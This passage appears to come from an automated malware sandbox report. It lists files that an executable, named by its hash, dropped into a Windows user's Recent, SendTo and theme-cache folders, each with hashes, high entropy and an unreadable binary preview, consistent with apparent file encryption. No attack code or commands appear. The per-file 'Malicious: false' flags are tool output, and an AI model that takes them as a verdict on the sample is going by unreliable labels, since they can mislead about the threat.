SHA-512:	CBFE4317BFF50AAD4CD5E43FF35172BC3B461E6DD1F0C554EE29CFC28EA38A340AF7E582794D388F7DF9A9D45A8DC1F6DC172FFEAAA85CD2FDB2F1E92A466C9B
Malicious:	false
Preview:	PALRG.V%t+..h..(o...K....^.n..L....@).....q~.7V..b....?n.v..^...q.T&f&^1..k...\|.,f..e.EC..!......H....qM...0.v......y....i.pQ{.t.Ts..).?.Z.......'....E.....@a...D...<.N......[..}$.....L......#i.n...3<J....8..".+'\..."..[_.Hx....5..k.....b.X....~..(Tt.......)....?.4?.Q.L&...2E...<........._..~.j....e.:...d.!.JJ.....PF...E..^w..<...T..fm.-.o.fDN".....#...P."cx.mS....v.R'V\..{=.Q....%.`TIlnH.;.S...r........n.U.yln.4b......d..f."..=.^.N.u,...5.....$;....9.+....*.b.....p.i.. .%U$,^..P..I.^...G.V.P...)x,.\JD.Msb"...<.`t(.~....{..`w+...B.v.<.)JH.6..<....!.xj.....0.T..z..L.c.,2.....S#@.:...Hj2.".M8...L1.....G0.'..;...q.U..\|FN#..B.X....6nP.a...6..M...........FW...?1,..{.......M......`....w..h.j.f},.I... C.D{....._NI.c.~m.7q.......4..z.tT..".^L.m1..6...<..![...m.Oi...\|.Y....sr.K.+z......l...W.n[Q..{AL.grr...F .c....0$..K....#jn.}.R..?K..Y.9.@.i..p..r...via.W...uU.......R...{...?.X.........Q&........lN.p......m....sS....u=^..}.<...u'.~k

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866909744437741
Encrypted:	false
SSDEEP:	24:NqYWkGITUEfAIbEbPYMveQNOLLkbpMGdokHgeSDD+uzhEcWHC5SYXLVVuQy2SEkX:wgTUEfAHrfv3NokbpryeSOkE7CwyVuQo
MD5:	5CD18AAA95E7016CBD0411176D13E050
SHA1:	DAD116E1DF07279772D2EC2E6A15BC9FB7BF001B
SHA-256:	CC272D48A2CFC155AA84F56C13704DEBB39452756FE45D2F4904A33F84A5D84B
SHA-512:	15B97F795C09E8FDCB1DED88CC3D971AECA9D782C829428FBC076F5C8C46114A33CD0CCFA0B537B06CED90C209F35BF4252E893CE28B0B02989B4953AFD5054F
Malicious:	false
Preview:	PALRG.y#8......{\|`c.K../.G.M.k]..:i.......y;...c\|.p$8t...._.Lw..s.....-.jS.-wwd.#...T)...a%...)....K.gtT0.....>...Z..6.y...fF........l...{.@....&\.fo.U...}.p...A....W.o.3..s-...i...f$.X~[0<e..J.j.....~:X.&Nv......H.I:...+..Bd....\.......!..U9...:<..Da.\..Y.5..m[..R..e.>......,..8..q..\|...H..J.K@....m>=..Y.q..j....QG/T..2.$D.\B.....U......\|.....b..-.%...\|][R..\'..~....gO^..k...$...r.kv.-.....>.Kf{'.).~./...z..\|>..!.m....X...\K. .....9._...v..o...o..5..}.....$......y.c...........T.G m=.g.#.ZN.}.0(:...=...0..I...d..f/.d..".._..n.....P.[.._3..$..H4..M.A..3...y....#...3..M....}Qo.QB.-.j..cHi..ny1..r...PN.@..FfV/..c8..).K-S.. ?....Q...c.kl.d=X.\.'...h..4+.\...g.g....o[........X..X...oz-.O.S..&.xr..\x.?..0..~?].......2.7......._.L]..0.u9.9.....k.._Afv......6.F.....b.L..3......f....0....1.........$.3..j..K.H......a.@XH....k...c..u..7...NP...\.C...5...Q.g..a.8n.d.z.W.G.3.%...H..P4..A@..\|.T!K....'...q...v..i...6.o.~.`.....`.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857602368398884
Encrypted:	false
SSDEEP:	24:E9vsrgtwjlXzS3lb7+Cg1X2tfrbw32pNE1JadqON8akwfDFF0PHu8TGOPQiTfXBd:E9srcCXzgf+h1X2tPRNfsMuwbFFX8TGk
MD5:	0421BA3C6384CB75D0501BEE19D17BF4
SHA1:	9F7E7702840A2E62038142C52E706787B26A9FCF
SHA-256:	1C0B58CA625506905C5F5F17D6F5F16227EF5B2326017A95FE4B2894E8421D59
SHA-512:	DAD4102BECE57B46693D80FB0D487321D759155584737474FB10BFBBEB5C09BABC2B052801580ECC48E6DE69BB5865A284BAF7E07EB1BBE24E04D4BDF3C9F444
Malicious:	false
Preview:	QCOIL....=.YU.lo(.....HD ....c.....!./.w..)L.H.$.../.m!........;.f..=..&<.d+.f2g..?.......\|...Y.ii.~GE%C.T...4..fz2....!.....5 n.tV.../.v..:.3.V#p..U.Y........i.l.E0..0.h....oS4...Jz.J{.]]k..P......Z;^..@Z..O.8.X..~~.c.s.N....or.).,_..)...D......d........hH.VX...--.M!..e.[y..]......D'.qe!.....P...\|.....I"4. ....Q.......b...&....Y....G".k"rWb.%V........Q.........q..j..&j8...CL.t;_Y.B.{..N.`8....}..J...IH8....B.0[.o.Z..V;...d.......aP....VGBe..Wga5..m;...j..C.3..,...$.U3...Q} ...r...J.s.......T.pG~.E......A.....{J.....&.\|.l./c6.......?.+..$..T....-..RQ.S..$"...a....JK.T.Y.C...i...^..,.......W.....6....B.....h3g...._...Ht.NQ...-....e..'-...-.N.6s...V.......I....k.p.%.IT....Z>...+.P.0....J..z...>V.\...G.-....B(....n...h..Jxn....C4.P'..k...]......\U...K-NP .......//..`~.D...1......E-..\U...+...\..Jt......S.Q.p..."F.s.v*..".j.......s.....e.B..]:...$E.(....wQ.2...e...QTi..\|.'.......'.....4...J..hA......7...UO ..j.a.`(.......W....g.!.g

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837165693752528
Encrypted:	false
SSDEEP:	24:uYYwoP1Z6E71JB9mJ0abfob91I7PPidFW60bOn503BmkFfd2Ou320kbD:uYYwo9n71BmnC9QPPGEhCnimkldrumZD
MD5:	4BCE9AB335C7D7786A952ECAC058B62D
SHA1:	8E47C7EF4565F38830072D3221BB408B9D8A748E
SHA-256:	8D57D4E22E4138E44F2E130FB461C25541CA9030A9C1D49E2EBF8A1F5CC7DFFD
SHA-512:	4634D1CA3FF4135972FACD6D2F6E832CCA49A7BA9C182D44C5D86913B75A948EAC0A5B308DB3DE170FEA00F5E0AA59FB61A6510C1954ADA97DC1E1D1E6415FCA
Malicious:	false
Preview:	QCOIL...89...Z.h .....B...=...[t.....`.1..7.K..j.z..ng.A5..-$."....`.@.M.7\...'.n.Z.J.`.....8..g~...8..x4J....J..7?...5Mj.-.iH.~.).ou...+...d.$....8.Y..w,.H.._. .0....'@Z.r..jy.L.'[U....'...G.+x[.=88....R.g.m5....\|`6...$..\...nA^._..L........<..y.......D....P.$..8R.;[.....m.G.^....d...L.2c......&..........b..+}.c.7......c..D....G......r~E_.:#.dTM...........1.t...t...X..+`0.....f...7.~Jc..P....k....1...Qn.m`......s.:...uJ.\|.q.L..{....7..=o....w..wa/..............f...\|_.q..A.u..{Ty.DtpG.....R.K...@.L...Wk..e..zy.R.0...k6..d!..3p..-.l...v..M..k..v2.n.w...wHa)JP.thF~XbS%u...G.l,....G.Jd..........]d.$...(....[.Wx........q.mu.....g..zr.W......^d.3#.....,.'JAhs.h.}..A'.}.,..r.lxoYB&... ...*.@......h.u..#...y..........3.@.4.R..."6..-.`....>.....7..l.I...._..\i$.....iM.......~..X.U$P..\|.n.m.2...a.B..{Y..CC...O..~...2...\......f-#...." ..~...L26t$.YE.%X.3...p... ].$...{...2.W......b..8....6........~.].c..b....N..!....>..W> %.....S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84551154422843
Encrypted:	false
SSDEEP:	24:dUp4syh/KcqqmUQ7pg5YreJ0bQyqZEMQgBe92i+VXcudi+I0cXlOBteGfobcaxqn:dUqXZ50UQSyKJ8Q/EMBEuY+I0qQBteGz
MD5:	CA0B797A14F6BB7E8B924A840FB5776C
SHA1:	D192C40E13F7EA17C5E19FD1500709EE885A501A
SHA-256:	544FC6B81E973FE993A12AB39A144A3F56CB1FD6C45BA38D468097388EBF0B6D
SHA-512:	25231E7EB65986DB6416E1B271A18ECE1B246510F14B9A24370DBAD04A85DA5F0207FEAA15F4965710CD9D8F1FAA23FCA9ABB730201D3D284C6FEB4833E4AAC3
Malicious:	false
Preview:	QCOIL..y.9qn9\.&....C.-'..>..ubeW"j......Fvx>..!E.s.v.....}..K.%Hh=..."..."o#...np...<`.g6.....,M.O..].m..< ..V5(4...3...Y$M&.)..'i..C..5......y...3j...5.G.R.L:.....-.QJ..0..Y..,.j.U.Z.........~v...o...o.R....kC.......G-h....\... .G...i..H`...:...)....d..M]....'f..S..O.........V..`.+=....k.sZG....d............0.q..7.L...A.['\....&.+..{r.....X..X..........;.'.x.U.7..rn....#f._.0.kYPEj?.+.r....K.=b.>....Nv#....]".S..9l'..b.v......._..d..[......#/8...x....M.Ed...b.....].=.../.?SHo;..&..3,...H$.S.LJ.S.~..H\|.....n..w..u.. .T.,\.}.c....e.V%m._E....X...\~..<VV)=...SsY...Vv-.5....Q.Y..).....&1.p.b...Q.Cg_.p.(....u.=.E4v.z.`..Ys.......^...........~.........+.+....V;k.xMHsav.N......T.^#.Z%.^A..{....>..Iv..%...../.@1....K............_Q.=.b..S.D.Uo..<{........EC}.....5Y.,_..H....)W...Y)...\..eB..W'.!4.....f....NW@ (...di..C....?.l]..4.v.u.o.y....^K....M9e+\|A.C;.....g.X..v..E.@..F...(0u...S..;QKO.....!.6..h.!..C.... .$.D.....*&v....Q..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852918926388854
Encrypted:	false
SSDEEP:	24:lKdwAAWE61ZULkqIxJP1PAAEsYBX80y1o64KrGwaLZSJPgkbD:kdEWE0ZUL9OJP1ozsYBsT+64EQ0JP9D
MD5:	FA5EB907F2283648A157CE87423FA346
SHA1:	270DC306FC1FD4458EF7792235EE3F1E889E766D
SHA-256:	71BB82D117523736123BE0091535192919F65607230BEB4828C6377F82322CF4
SHA-512:	E11BFBB53D1E83C3B60E26DE6CEDFFF39873D6F7ECDA559C2618FE95EAA698683A17B7696184AF11CD1AE4011CD34C925BACAE18F79873B17AFDB6D3241E2E02
Malicious:	false
Preview:	SQSJK^....8.v?0a=.\WR[z.....8M.em..2.q`.;K....,OT.~^iP+.D.W9...R. .2.G+.sAWSo.}...+...v."#.l..........'o..3S.........I.}..4L.7.u=.MW.N+b.O..!....g....L.MM...s...?.$..'.mvrS]..........Q..oF...9..C.qSmj.l..:o...b.1O..L./...n;..n.-......:N.g.......E.M...{IC...........;^....9.^...2.0...]......HYV...$..}.6.Ej.4t....v....[.f.\|...+.$^.f"R..W.DA.......E3\....,:.zD...Z7.zJp1.9.f.\|.. b...F...4&...............L.l/?.v...ah.1B0.5.I.......4 W.@.D...,".!.!....+j...P....E....]d.........d>9..6<...4...g }O.>3a\|.r...........Q........!Z=...P..o...>...\\|.V....\|~F...m.....r..u......80..JZ.d l.V....Ao.8s...g.n.z.$.6!.....{.......Y.Dm..?.............yU.>A.(D.7.![Q.,F).o..J....q4......~~s...E0..._.+.u../.`...X..i7........{........./?......a;.....o.E...g.H..Tj..&...Im.,..w.=..7.. .y.Pr..cw.KLA.....JR..i......2%1...\|..d...\|...c.s.{.#......P"..jm..Vi$(.[..n0.l.(F...eB.......Z%Q....u.j.}..\|XO.[.........~.5..3v.'..d....#.W.[....Ji..v&...%05...5.V.]I....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851553784103046
Encrypted:	false
SSDEEP:	24:vGX+REx02r7fIOZCupfpm88VlM2uyjIMAk4X/tfvwcLOo3HUVN24tOs7d4PWr7kX:vGX+6XwOZCuxp1I0yjIXk2FXwcLXl4tC
MD5:	B06A2D589D4284EEABF5C9BC04A7F62F
SHA1:	D6B4BBF54CD3C5F5F1A6CF3D4145355722410E30
SHA-256:	FE6803ED54BCF4F21F46AEE78FA73C9DD503F8E03674EB57CA6AF743DF524ACB
SHA-512:	2FF862DFBB197E10CDEFEB0B745B3A8670F53B18CFED2FEE51085674B6AABF5FED9D5D7FB15828B2B6B3E1F8CF634840B8217CF9726D98C1623EFC6BDBC98841
Malicious:	false
Preview:	SQSJK.T...i.G...1%........@. ;.V.\.W...=.x.:.K.Y..?U6.H...........;(r2#)&.We.y...;x...9T..........~....i...f/...v.M5&.,.g..Q.......Z;."0...k...q....j>UyS..u..Q....c............6..t}...jLl.b\.$<.....?.E.H..6r...z"9...;..#.......tSU...^.L..7.y...s.hYS..h......A\|>.8M..`...IT...r4..{>...(I..J{.z6......Cw.....>0L.O]...#8..`J.....<b.j.!.4.S..("..q..N......%....tY....m..?I.~0_.0...^.~&.9.M..^k........."........I.@&.0o.i..;$.a..X.2>8.N...7C...Q..v$ol..[\|...9E..}.^...`......i.........3....e...]o-.........w.......b..0....#7...Ve...B.=.]X..,n J.....=........ xS..{....JZ#...3$....b..@..zZ..[.n.@`Y.I.}.....wH=:c..\|...^...d......$0.-. .....P...j.Q..C.m.'....c{`RoDK.\|..l...f8........B...w...#...!...R..i......v......`..j4...8.c.....;i^0Y;F...6.k-)t#..x-....y..\|.g......sR'7....uy(.....].Ml_bli.(..T...q..$..&x.9...T3g%...._..gedE6\..2.6..^..7..i...u\|+07.G#hw...._...8..7;.G.p.....[..x..?...L..g.".Q...<..p<.......T.o..&....H./.=..a..F.o..n...!..~.e....A. -FlT

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855964402335518
Encrypted:	false
SSDEEP:	24:VIzeeuGH2fwgcnq8e0w5ypNRI42zPfu5E7rXpXZoiOmkbD:oeeuGHK+e3s10CoZoiODD
MD5:	D3B716636EFD2480CECE440A98FCF820
SHA1:	BB389EAA170DA0061C0B74553E2FABB1C13118F2
SHA-256:	01252D60C9B8EAB022D9C7D1AD0AC60348D37DCEACE11501F2520AD70F66F250
SHA-512:	1B3662027246B0BB37A3B0CD838BB1D700DC1233240EC3C817E1A977465E90A9E6B423B6EC1F1068A69499ADCD8BCA7B9A19BB27A8AFBF6043AB561826D130B6
Malicious:	false
Preview:	TQDFJ..t0RqZ......s..g...I.Fnx9t.?._.L%...X.(.........D.v.I...{.&]..........4g..w.#<.k.....j......f.+....&..MEi..a.a.:.k;l.l.._....]...p..Q..H.-...?.XcS.U.h...M.A./...k"..Y.......<.E..$.^..b.cJ4.2I~_....O$5.}.PXu..JU.0T.......:...MY]..._.\|o'/.S...l..N.o..~.?..G1..6q.Q...........XD:u,%..Q#.!m~.c...IK.$.''....gF.bW.r]E..Sl...3u.xC.....V."&o. XE.....6i.....a...N.%.....".Ra.(.......j.z...<..h.\k....t....9R.....s..K..'...R.....S.Y....u ...h.4..E..W.f... .._.9{.....WY...~..+m.[.Z't._~...Pf.....jt......z....q=\.*...S.&...6.4.<"%...A......$.I.M..;..Nd........$(:<m...\.....4...Kd].qLc.DH...........5g...x.w.{@....K..f. `~.....U..7.......%F.`"r5.t...8(....y.........L.#.d........-n.../.\..O.......A..y .D.#.f{.....\.1..e_.\.P6ru.R...3.W..v..fT.<./.y......G..c<...LN.s[...0#..O...1.......n.<g"".. .....1o'.YiY\|.e(...8a..g.c.$......m%..1v..-.L.p.-~x.U.B.m.8,.....s:.M6.. ....z.\|.,.;...;...?b..7A...x.....S.^..k...D.7...=#....l.L.N:M..F.:.......0.......O

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UGRDPJQNNG.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848516507202298
Encrypted:	false
SSDEEP:	24:j1Z8OQ4lJmHxp0dE+JEhm5fUCwEQ3tb4UgIfmg/vUqTDB2S0EPg4tCIwxwU/emnH:j1iOvlSfW3vJ8CORNn7bg4ZjU4aD
MD5:	902FF944AB942F0CD449FF625CE8994E
SHA1:	4B397EF5347FFD644AF2814E576726C77765BFB9
SHA-256:	65C002A28AD8D9ED42E9DC29297FAD2CEC73509394804176228A6514870BA054
SHA-512:	9F0E61A9275967A1DF9525819F9E0BB775ADBED9AF02A4F767F6C2A6614B900BA56C510849C2B6BA4764796BB9186BE9397928550DCE39D487806A5E46721A09
Malicious:	false
Preview:	UGRDPK...A(....N._.M.l.d NAj....3.f..l.$1...;...-w.2A...U...;..O@7R.N..J.2/..(K.k....z....\|...b#..c.5..._.R......w.X..b....L...;.t.....4`..0..8.f.......D+75-..z(..3w.![...q......(~\.N.S...n..Z.F;&0.g.]/.k..,V.>. .,.......G._C..2...X{2H.?......).`.Sh..TD......4R7ER.......j...k....z[.%M....b..\|8R...ih...R..R!..x."....C..\|4\|..-n..i..S...0#)4....<>.,2%9.%.........h.z.......V.q.s.K(..Y..u&.....{$/...W:.d.p.t.f".........l....?..C...3.r\.{...W$..".W.:.........+..UJ.T4.....Bl..9.<a8.Fb..CZ.GJyG.W.z\H"iy....B..&..E.66..W$.<u..3.V....4.#\.........X...VU.2...9T.l..0...?...(d......wR..h...+g..k.[B.'j..[\v...I..9......s......H...^....?.P.$.b.=.'~.7.m4.s..}......sc.G.6*.C.y%.6......$"........y.[......I..A.).<..t.....I.D(T.tn.u6......^...eJ`}Ud....y....\....r:..#S$...).s;.i.....P.3.x.?.<n..M....;.O. +XSC...Q..H.A..l..[.a..c>..~.......N.#6...0....9l........k...MQ...:Sy.id..,.3+....8M^D.}..b..ekG.v...B+j..5?.=.....\|7j5..}..Y...%.....x.J....._`.2p.K..$6.J.......J

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853144024548164
Encrypted:	false
SSDEEP:	24:vw3h48tK5sA8YZtml30sHeWjdkLbINzvf+GE9dylbM+y8VBXXkbD:C48tSmlNjyLb2IXBGVBOD
MD5:	68EACACB214D7036DD8D9F08BC9FE639
SHA1:	C2E0A841678D6680E41773796380D61F2B231D16
SHA-256:	92D76D27E61A84D041D7C8217907D1689CBFB98F594254F64B6F03B96CE66D41
SHA-512:	303F0BA85530FE80F7828B02A3F715512FFF28925D77DFCECDB86546052EC2E0B248339548D80BDEB8CBEC0BB0AA9563BA0CD3BC6488A054DB9543E8EF46A426
Malicious:	false
Preview:	UNKRL..qx.P...%.BD.(......'...T..<T.K..9.]\|...A...G...a.e.!.tf;...OO[........C..;.....'...{&...cw !."..+y...u.3i.I.\|=..Q.:[b.t.-.=.....S..+..Ec.\.#........w.M ..].t.6..V(.[...A.\w..=....k)..C.K.U....`..T.........6.=Q.{.(.W.............FV...'.~.q.=....i..\|..i.;.6#........?....U.$r.f.tV. ..JS}o..gC.,D..D...Qk....\..Di.....^.......Fm.ip0Z.U[.#.5......9..\+....E...~..>_.......z..P.(\|g..+.....m.".y.f...#;.,..Z.82.6..../a.Y...5G...:.....7...Z;..~.M%.L.x.s..N%.S.}.p.s.9......X..j..h57.W.d.'.)`Z..'_.$...',s.B..G~h,.k....r..n.X-...r.#.v.Y.L.D....g`.W..:.[U..^.....5......+.j?..l..^...P..''.#..Hd...v7]...b&..>.....G..O[....Fyr.....U.E1[.N..y..B......3.....Z.}....\|aa..zw.....8_S........~..H....R.}../fk.E.C..v.10.wv..[....!.`Cm..6...x9.w3Gf.$../.hUG9a.8..........".G4.TGyW..9Z....u.[..@.....!..=}...`%Te..]....a].Ni..S..Sx."Vs.,.y.&....w..r!.*:...3.<.A.k..>.?..T.-..R..S...sa.MM.._..&..G.+C.....3Lk.+...3..,~-...F..s.......,......l.-...xd..l.......N)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WMLMJASYOZ.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848697403894591
Encrypted:	false
SSDEEP:	24:BmoFcSwB2L+bqnmoU7V4h6B3R79Z7yKza51TTREHl7CtgDtxw+wdZkbD:BmoFbfmFpxVJL7yKfHl7CqtnjD
MD5:	959F3B068FBE47B7AD03F57027B131D2
SHA1:	699B76858D78AF263C88986C1938383AAE2B7880
SHA-256:	FFFDBAEBA23014CF3AD3702DDD6AF693EB9B383583F5EF74D8ECD5E87DA313C7
SHA-512:	A292E9FA6E7A75C5CC70E809BD330A80CB3EF809CB4A79C20BFD256AF633FD136507ABE8F13EB0E0F9988525352F64FC71B267553512449AFEAA5D9803460A99
Malicious:	false
Preview:	WMLMJ..... ...+UF..;d..[.=u.....cR..k.3.....M.3.+.......$R$0.....Aj..-,\..l....V>....y...,.^..O'...... {.@.X......C....]......y.-/.-...S.a.....SE...6."K4..7.X.=...o...C.....H.@J.iA..Y.Z...J3...l4.....~..e@....R..sd.._x..t..G....-.Lm.ETP.....<...(.......].F..8..8..l.<E...M.......G..r.q.. ..E2y.K..?.d..9.SE.C.."5.qzj..1t$.y.V....Bx..&......E.@.0.....x...0.K.j..Y......`..IH.J....f.,#n.).....u.a.n.8.v.....G....k....H65...A.%._t.\|9....U{&.$k.?......$l..V .e.D...u.9..{.gymve.l.)=.Z.........eB..7...T.TZ.pT......9F.jf.......>...Ar.x...._.....!..C..8..........wfy\|."...ec...'.Lw...L...M..$f\...z..#.EP...0..@..!........[5.............N...,.X._.)..7}p.WB.[{\^a..u....d...HP...l=...t...........x(.....b..r........'.8{.1...8#...y..S..c.p....S.hlfO.....1..3..\|.A..b @..B.g3..P.....f..T..`..F.]...........6..m..x...7uR.....L.T..O.....s............1.o.!HfM..?.,...........$.^.. ...W....^......0..p<..F...........v..A...)7.H..._..ur9Z.6u}..&.+3..........l

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846510913523942
Encrypted:	false
SSDEEP:	24:hZSaixIhs2kyZREUhOOgIilpiza1VVPmVgt5xpeBRR253m39kbD:TuIxkyPBOOgjlp1VdmVWx+RRyuMD
MD5:	D79D2C777DBDECCD9379B441197AFD7C
SHA1:	7921C569D3BD9F97C790192CEB680DC6731FB2A5
SHA-256:	B76ACF4F6B9887E12E4872CB40B593F613DE8F8A823DDB78B30D8560A35F49C3
SHA-512:	C7BDC511EA086ABF5E52D5EEF1514459FA16F7097FA44AF6932C8E2DE33A2F0BDE0AAC387DA3550C93C9E316D8CBEED8814F1625A08219EE9DCF33E1A48B491D
Malicious:	false
Preview:	ZIPXY.F7.e!...Y...(_d}..%VB^@..p...t.K.w.&.]..E{..U...1&Ri.r...h...=...Q.].....Gu:....tD/.x.....R..X.d.I..-.......R).f+p.....D...0...s.....l.VBx.]d....gz...f....3...$..e,..)l.IlU...y.K..... ...s.>......s.+._...I........`i...]\..S...1P..B.a....y..j..-2... ....G..$.2.i...52..C....v...-...C.9.q,m..YK..&9. .m.+...S..S....y.;_+......(H...m...]p.\|q3.A.l.d9.D..^.........e.nf3>...`.n..9..D!..J......B.x9.r..v....d....E.<.c.F.+..d.q..:cw.o..%....l.C&.."..yMv.....]../D.....RLm..3t..n.....A....T.B......4.Z.9J..5.y..G3.L........./..Rd.[......x....@=.=9.,#.,7...../A=.....r......~.z....d..T.U..O>.i.g.S.(.#z4Q .HK.y......:..q...m$.c......$.T...{.Z.....A...E...*...W.#...;....f..6..I...:......J&...9..'..E.. ..r...P.M).-q.>d.x...a{.......o...H4.<...m..<Z.M..E..v>..X..[....T...b.A..lN...I..P.Eb..ZHe.c.N...'.ZG..q...h.....i.4..s...g\|.......x..{$......}......[..b.>....o..guu-......n.a.....G..B......(...k......Yo.r..E?W.eb.8............."\.....6u.\|I...

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.877895377621814
Encrypted:	false
SSDEEP:	24:kcJUXRr8hv1j4E71iyGJBhPX6dlvmJwFvnHXwy3Ja6C2xtlEI+x4rEpqvWzSrzTy:ggvjZGJzP0d3H3J287EqEpq+zSr8FD
MD5:	AE99BDDAEF31052B348CBB96A939B1A0
SHA1:	084223FF9476807EE83B7F69A05C2AB2682E71C4
SHA-256:	7D0EDA12149D01C05B423249638CBB9065F6A4523C7E8C927D29DA64802B5922
SHA-512:	B8148465596D302029C765B2FAEA0E6C5C53D9D21E9D6F7162CA458B9AA2C7FF6E4793D603E3AAC69ED4A07885B82E2B0BF31EBEB150EFE049F7F128DD6DF74E
Malicious:	false
Preview:	L....L$..0.`.....RJ...,g.M&...\|rF.-T..g.:...._....N.['.i.?../.:x._l....9."..5..9D.C3.......K.KJ..;.E.o......Y.X.x7zG.i&.<.E...R.....e.>.~<....q....eGS........'F...Q.k..(/....p7.(.P>$.zR.\|...l..-.F.P.........\|......].RS......9f.....-.......:._.J.5.C5C.!G~.i.".... .7.].\|..Z.).e.\|.[.I.'.d\..q.0...=..v..R.....E..~..H.Z...`.s!....F.....u...J..............XP.\.a..a.6...6.XMs.~..!K...AJ..I.]...s.E3.i.........'Q.q..d..@..Gj+k.N.<....<\|U..D..?...).d)...J....e.P..h.k....0.J.z.L...;.#.C..k.%..M.b.Z..-.u.U>.w'....?%...R.w .<..Po.1.0.Z.B...@V<..?`{.../........h...d.`gn.O..7C...5@...Q...o.G..K.LE...r.]!..b)_...b.e...v.Vd:.).....K..#~0):.{E.tj..5..f. m..2.R.B......4m.H.-........2XH...>.....b?=...v\|j.z"..........&a..._g.lE.{9.f.A...uK_.}a4u^...... #];2......6..r.. .......{1o.3.c....)#h...l.........+.n....t..!}...^.Tv.........%..S..s.8....+tG.3..n.(:..%....Y\|..N....CC........ ......:.v..}`...J......T..p...).&....b.0;.@. .6..@:....*....s.L.Gn@...t..i

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.167678583486498
Encrypted:	false
SSDEEP:	6:6PrTSVwZTrqgoqF1+r7wRSKX+lLLCDduACAS3uPebugcii96Z:gTSVwZT2g3ekRd+QDdu+yuPrgcii9a
MD5:	5A44AF3818698FB5017DB3D5EF3F9551
SHA1:	E2DB071E8E3DCA31761885643277BC96B2145708
SHA-256:	6209E04053ADFC0B678ABF5061501246F01D914C6C7CCB421576B3AA0C242C72
SHA-512:	2444032661AD56EC4EFF353A0FEAE1938A898CD9A80860EC62952EF3606556C5B646A1123289A82B727D8172DE26C58613C2CA2792C4F0EAEF4ACAE2629FFA92
Malicious:	false
Preview:	desktn...q2g...oqYT1GK0..;.5..}d. 6....2\......J.i..V....i.Y..b.......L.m(..... _.....P...G:%..~'x1.......S..nL..!fR1.-0.r.-..Pj-*:..A@.}.`...''.......m.P2..2....L._.s-.3...F2Kc..n7...-..-.............6jf\|./<...p...S.6...aV.\|...7.....Z..e.u..:5..K.y..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	JPEG image data
Category:	dropped
Size (bytes):	68018
Entropy (8bit):	7.997225746499371
Encrypted:	true
SSDEEP:	1536:LpOFMkvOYv948z94UsHrDqmmNb2lLj4kSEXm+QOV8emk:LpA/Lvlz4rDqjNb2lf4kxXm+dfmk
MD5:	301CC5FA7C3FB8C7BE4371FFA6A9F783
SHA1:	F33FFC7542857A4412B2F56C70F17A1D682FE84B
SHA-256:	27651F6E65E48A84466FD6B02CA340E37022A629986FDC85723DAAF83F60F85A
